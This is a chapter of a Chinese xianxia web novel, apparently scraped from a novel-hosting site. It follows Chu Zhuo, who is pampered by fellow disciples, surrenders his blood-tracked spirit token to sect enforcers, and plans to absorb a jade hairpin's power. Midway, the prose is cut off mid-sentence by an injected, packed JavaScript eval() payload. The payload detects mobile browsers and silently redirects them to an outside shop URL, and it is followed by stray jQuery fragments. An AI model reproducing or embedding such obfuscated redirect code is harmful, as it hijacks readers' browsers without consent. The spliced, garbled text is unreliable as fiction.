文趣网 > 其他小说 > 当龙傲天穿进限制同人后 > 14.但他是楚濯
    众人目光顺着楚濯手指的方向,齐刷刷地转头看过去。

    被挑中的赵归颇为意外地指了指自己:“我?”

    幸福来得太突然,赵归顶着一群师兄弟羡慕嫉妒恨的目光,美滋滋地上前一步。

    他对着楚濯挤出了个自认为最儒雅帅气的笑,正准备说话。

    忽然,后背一凉。

    赵归不明所以地抬头。

    谢厌没什么表情地看着他,凌厉眉骨下,一双眼幽沉如渊。

    ……

    赵归激灵一下,忙把大牙囫囵个地收回嘴里。

    楚濯饿了半晌,有些不耐烦:

    “你带吃的了吗?”

    天衍素来苦修,无论内外门弟子,一旦炼气之后必须要辟谷,要求的极为严苛,赵归身上怎么可能有吃的?

    谢厌正准备解释。

    赵归拎着自己的储物袋,殷勤地小跑到了楚濯面前:

    “带了带了……楚师弟,琼酥斋的点心你吃不吃啊?”

    张嘴张一半的谢厌:……?

    楚濯略感兴趣地探过头。

    只见赵归变戏法似的从储物袋里端出一个又一个的木盒。

    糕点特有的香甜气息从木盒中飘出来。

    赵归转眼间都摆满了一桌子。

    众人都看呆了,心说这货是把琼酥斋打劫了吗?

    楚濯没想到自己随手一指就指出来这么一个人物,还以为是他们天衍宗的伙食就是如此好。

    倒是在心底改观了几分。

    储物袋内时间停滞,赵归将木盒盖子一一打开,里面的各式点心还保持着刚出炉的状态,香气扑鼻。

    他一样一样地递到楚濯面前,挨个给对方品尝。

    一边看着少年倾身就着他手指小口小口吃东西的模样,一边忍不住激动的手都在抖!

    ——这个距离看上去,楚师弟更好看了啊!

    嘴好小,吃东西的样子好赏心悦目。

    仪态如此优雅,楚师弟一定是出身名门世家吧!

    ……怎么身上比点心都香啊!

    赵归晕晕乎乎地想。

    周围师兄弟看着他,眼睛都红了。

    ——可恶啊,竟然在这种方面输给了这个吃货!

    楚濯每样都浅尝了一口。

    这么吃过去,他觉得毕罗太腻,云片糕太甜,荷花酥的内馅又不够绵软。

    就樱桃脯还算勉强能入口。

    楚濯舌尖舔掉唇角的糕点残渣,对着樱桃脯的方向微微昂了昂雪白的下巴,示意青年继续进贡这个。

    却见赵归傻呵呵盯着他嘴唇看,脸上红的简直不像话。

    楚濯:?

    这人又晕鹤舟了?

    他嫌弃地往后一躲。

    赵归回过神,继续从自己储物袋里往外掏:“楚师弟,我还带了长生酿,你喝吗?”

    长生酿?

    西州名酒,楚濯有所耳闻,但一直无缘尝试。

    他起了兴趣,正想开口。

    身后,自离开玄圃一直没怎么说话的青涯,忽然道:

    “楚师弟,你手伤未愈,不可饮酒。”

    啧。

    这点儿小伤,睡一觉都好了。

    楚濯没管他,“拿……”

    “赵师弟。”

    青涯忽然一转话锋。

    他看向被迷了心窍的赵归:

    “如果我没记错的话,宗内禁酒最严的,当属你们青冥峰吧?”

    青涯笑容愈发和煦,简直像是涵纳了整个西州的春水:

    “说起来,许久未见元颂师叔了。这次回宗之后,正好闲下来,可以去拜会拜会了。”

    赵归:……

    他打了个哆嗦,瞬间将装酒的银壶摁回了自己的储物袋。

    “是我记错了楚师弟!我怎么可能会违背宗门禁令带什么长生酿呢!”

    “……”

    楚濯浅淡地瞥了青涯一眼,对方朝着他无辜一笑。

    这心机鬼。

    楚濯没了饮酒的兴致,重新倚回美人榻上,指挥人喂自己吃东西。

    鹤舟在缥缈云海间前行,半日千里。

    众人赶在落日前,终于回到了天衍宗。

    这一趟又凶险又刺激,一伙人都累的快站不起来了。

    从鹤舟下去,一踩到熟悉的地面上,只想快快的各回各峰,好好休息一番。

    结果刚下了鹤舟,就被青冥峰的弟子们,给拦了个正着!

    “谢师兄,青涯师兄。”

    为首的人上前打了个招呼。

    他看上去年岁与谢青二人差不多,宝蓝长袍外还罩了一件石青披风,象征着青冥峰执法弟子的身份。

    “各位这一路辛苦,但还得再耽误些时间。宗主有令,请各位回宗之后,先到主峰一叙。”

    来人客气道。

    原本在鹤舟上叽叽喳喳的弟子们,见了这群青冥峰的同门之后,倏地安静了。

    他们警惕且狐疑地望过去。

    楚濯站在谢厌与青涯之后,单薄身形几乎被二人挡了个严严实实,看着毫不起眼。

    ……麻烦。

    他想。

    来者不善,眼下他这样子,解释不清,绝不能去见天衍宗主。

    ——如此发展,楚濯已有预料。

    毕竟各仙山对邪魔外道的态度一概是宁可错杀不可放过,突然蹦出来这么大一个元婴邪修,于情于理,都会彻查到底。

    他早想好了对策。

    只是这么一弄,先前的计划,又要从长计议了。

    从重生到现在几乎没碰上过什么顺心事,楚濯隐隐烦躁,不由蹙了蹙眉。

    他心事重重,没注意一旁谢厌不动声色地垂眸,看清了他一闪而逝的不悦。

    青年眸色微动。

    “我可随你们去。”

    谢厌上前一步,提出了条件:

    “不过这次秘境历练,仍有一人受伤未愈,需先将其送去医治。”

    “可是楚濯师弟?”

    对方却像是早就预料到谢厌会这么说似的,叹了口气。

    “这恐怕不成。”

    他以一种不容商量的语气开口:“宗主点名要见他。”

    谢厌霍然抬头。

    楚濯心中一沉。

    青涯一定是在传信里提到了什么,否则,天衍宗宗主不会知道他的名字。

    ——他就知道这姓青的一肚子坏水,不是个好东西。

    楚濯脸色微冷,心底隐约起了杀意。

    “楚师弟确实受了伤,且极重,需要及时处理。”

    这时,一肚子坏水的青涯却也站了出来,为楚濯求情道:

    “我学艺不精,看不好,需得送去云芝峰才行。还望江师弟通融。”

    “这……”

    江眠显然纠结。

    这一个是宗主高徒,一个是天衍之光,单拎出来哪一个都够他一个小小的青冥峰执法堂弟子喝一壶。

    可是……

    他一叹气,歉声道:

    “我青冥峰也是持宗主令办事,谢师兄,青涯师兄,请莫要我们难办。”

    其他同行的弟子一听这话,知晓对方是半点情理也不会通融了,也不免纷纷愤慨出声。

    “楚师弟他人美心善,能有什么坏心思?”

    “这一路上我们可都看得清清楚楚,楚师弟绝不可能和邪修有关系!”

    “楚师弟这么可怜,不过是想先去治一下伤,又没说不去主峰了,这位师兄何必如此不近人情!”

    “我愿给楚师弟担保!”

    “我也愿意!”

    ……这叫什么事!

    江眠在心底暗骂了一声。

    其实他也头疼,都是同门师兄弟一场,平日里低头不见抬头见的。

    更何况,又没有直接证据能够证明,他们其中有人与邪修有染。

    江眠抿了抿唇,眉峰一挑,又看了一眼站在几人身后的当事人。

    这个叫楚濯的少年看上去极单薄。

    肌肤白如霜雪,仿佛风一吹,就会随之散去似的。

    可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628822|205742||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    偏偏五官又那么秾丽,许是被现在的情况弄得措手不及,以至面上什么表情都没有,眉眼是冷的、淡的,好像皎皎的月光,很好看。

    ——要说这么一个孱弱漂亮的小师弟与邪修有染,他也很难相信。

    江眠又愁的在心里叹了口气。

    他看看门神似一左一右挡在楚濯身前的二位师兄,又看看他们身后一群义愤填膺的年轻弟子们,迟疑起来:

    “可是云芝峰在宗门最南边,这路途遥远的,恐怕……”

    “不必去云芝峰。”

    一道极冷淡的声音,忽然打断了他。

    楚濯从谢厌青涯二人身后走出,站定在一众青冥峰弟子面前,抬眸直视他们:

    “江师兄,我回杂役堂取样东西,随后自会去主峰。”

    距离的如此近,江眠看清少年一双极冷极黑的眸,其中却奇异的没有他的影子。

    像是未被侵染过的雪面,很干净。

    淡淡的冷冽香气萦绕在周遭空气之中。

    他忽然有些恍神,随即见少年自腰间拽下灵牒,同时抬手向腰间玄带上重重一抹——

    江眠猝然惊醒,当即就欲拔剑。

    然而刚握住剑柄,对方已将散发着浓香的灵牒直接扔到了他怀中。

    谢厌的视线落在楚濯的手掌上。

    青年眸光晃动,无声地敛低了眼睛。

    楚濯被他看的浑身不自在,忍不住一抖袖口,掩住还在滴血的指尖。

    他抬眸看向江眠,淡声问道:

    “如此,可行?”

    各大仙山的弟子灵牒,自有追踪定位的本事,只要这上面被追踪者的血气不散,天涯海角,也能定得行踪。

    江眠捡起怀中灵牒,蓝玉上一抹新鲜血痕,奇怪的是血腥味极淡,反而冷香浓郁。

    不过,有了此物,他就能和言师叔还有师尊那边交差了。

    江眠松了口,心里对这位小师弟的脾气秉性也有了个数——看来,可不像看上去那么好欺负啊。

    他收起灵牒,道:“三刻钟,快去快回。”

    秘境一行声势浩大的回宗,最后却只有楚濯形单影只,向着住处方向疾走。

    天色深了,仙山各处渐渐安静,衣角划过地面的簌簌声,显得尤为清晰。

    月光如水如纱,清冷地流泻而下,映清夜行少年侧容,眉眼生得好俊,只是颜色极冷,隐含煞气。

    真是一群疯子。

    楚濯面无表情地想。

    谁要他们担保?谁承他们的情?

    楚濯的人生是以十六岁为界,被分为两截的。

    自十六岁之后起,他得到的亲切都有限,又何谈雪中送炭?

    又有谁会对他毫无缘由的喜欢?

    楚濯觉得这群家伙必是对他有所图,可才认识两天,他们想要什么,他一时又想不出来。

    想不出来,那就不想。

    ——说到底,他们又有何资格替他出头!

    所以楚濯才交出了那枚玉牒。

    他自己的事情,无需旁人担责。

    只是。

    ……啧。

    这下走不成了。

    楚濯原本的计划——半路袭击那姓江的弟子制造混乱,而后直接带着玉簪,离开天衍。

    修界仙山多如牛毛,即便此地不成,以他的能力,还愁找不到其他山头东山再起?

    可现在,自己的灵牒就握在他们手中,血气至少半月不散。

    跑不得。

    破局之法,只剩下一条——

    吸纳玉簪中的灵力,在赶去主峰之前,引气入体。

    他只有三刻钟的时间,其中来回路上还要花掉一刻钟。

    也就是说,留给楚濯吸收灵力的时间,只有两刻钟。

    ……

    两刻钟,引气入体,突破炼气吗?

    楚濯眉目微微舒展,面上的煞气散去,恢复了往日的傲气。

    对别人来说,也许天方夜谭。

    但他是楚濯。

    ——两刻钟,足够了。